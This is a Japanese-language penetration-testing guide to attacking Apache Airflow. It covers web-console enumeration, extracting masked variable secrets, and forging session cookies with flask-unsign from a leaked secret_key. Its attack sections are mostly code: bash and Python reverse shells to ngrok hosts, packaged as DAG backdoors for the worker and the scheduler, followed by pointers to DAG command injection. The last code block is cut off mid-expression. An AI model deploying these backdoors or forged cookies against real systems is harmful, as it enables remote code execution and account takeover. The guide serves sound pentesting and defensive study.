Apache Airflow Security

Reading time: 10 minutes

基本情報

Apache Airflow は、データパイプラインやワークフローのオーケストレーションとスケジューリングのためのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」という用語は、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。

基本的に、Apache Airflowは、何かが起こったときにコードの実行をスケジュールすることを可能にします（イベント、cron）。

ローカルラボ

Docker-Compose

https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml からのdocker-compose設定ファイルを使用して、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当てることを確認してください）。

Minikube

apache airflowを実行する簡単な方法の一つは、minikubeで実行することです:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflowの設定

Airflowはその設定に機密情報を保存する可能性があり、または弱い設定が存在することがあります：

Airflow Configuration

Airflow RBAC

Airflowを攻撃する前に、権限の仕組みを理解する必要があります：

Airflow RBAC

攻撃

ウェブコンソールの列挙

ウェブコンソールにアクセスできる場合、以下の情報の一部またはすべてにアクセスできる可能性があります：

• 変数（カスタムの機密情報がここに保存される可能性があります）
• 接続（カスタムの機密情報がここに保存される可能性があります）
• http://<airflow>/connection/list/でアクセス
• 設定（**secret_key**やパスワードなどの機密情報がここに保存される可能性があります）
• ユーザーと役割のリスト
• 各DAGのコード（興味深い情報が含まれている可能性があります）

変数の値を取得

変数はAirflowに保存され、DAGがその値にアクセスできるようになります。他のプラットフォームの秘密に似ています。十分な権限があれば、http://<airflow>/variable/list/のGUIでアクセスできます。
AirflowはデフォルトでGUIに変数の値を表示しますが、これによると、値がアスタリスクとして表示される変数のリストを設定することが可能です。

しかし、これらの値はCLI（DBアクセスが必要）、任意のDAGの実行、APIを介して変数エンドポイントにアクセスすること（APIは有効化する必要があります）、さらにはGUI自体からも取得できます！
GUIからこれらの値にアクセスするには、アクセスしたい変数を選択し、アクション -> エクスポートをクリックします。
別の方法は、検索フィルタリングを使用して隠された値に対してブルートフォースを行い、それを取得することです：

権限昇格

expose_config設定がTrueに設定されている場合、ユーザー役割以上の権限を持つ者はウェブで設定を読み取ることができます。この設定には**secret_keyが含まれており、これに有効なユーザーは他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE in Airflow worker)

もしDAGが保存されている場所に書き込みアクセスがある場合、リバースシェルを送信するものを作成することができます。
このリバースシェルはairflow worker container内で実行されることに注意してください：

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG バックドア (Airflow スケジューラにおける RCE)

コードのルートで何かを実行するように設定すると、この記事を書いている時点で、それはスケジューラによって実行されます。DAG のフォルダに配置してから数秒後に実行されます。

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAGの作成

もしDAGクラスター内のマシンを侵害することができれば、dags/フォルダーに新しいDAGスクリプトを作成でき、それがDAGクラスター内の他のマシンに複製されます。

DAGコードインジェクション

GUIからDAGを実行するときに引数を渡すことができます。
したがって、DAGが適切にコーディングされていない場合、コマンドインジェクションに対して脆弱である可能性があります。
これがこのCVEで起こったことです: https://www.exploit-db.com/exploits/49927

DAG内のコマンドインジェクションを探し始めるために知っておくべきことは、パラメータがコードdag_run.conf.get("param_name")でアクセスされるということです。

さらに、同じ脆弱性が変数にも発生する可能性があります（十分な権限があれば、GUIで変数の値を制御できることに注意してください）。変数は次のようにアクセスされます:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

例えば、bashコマンド内で使用される場合、コマンドインジェクションを実行することができます。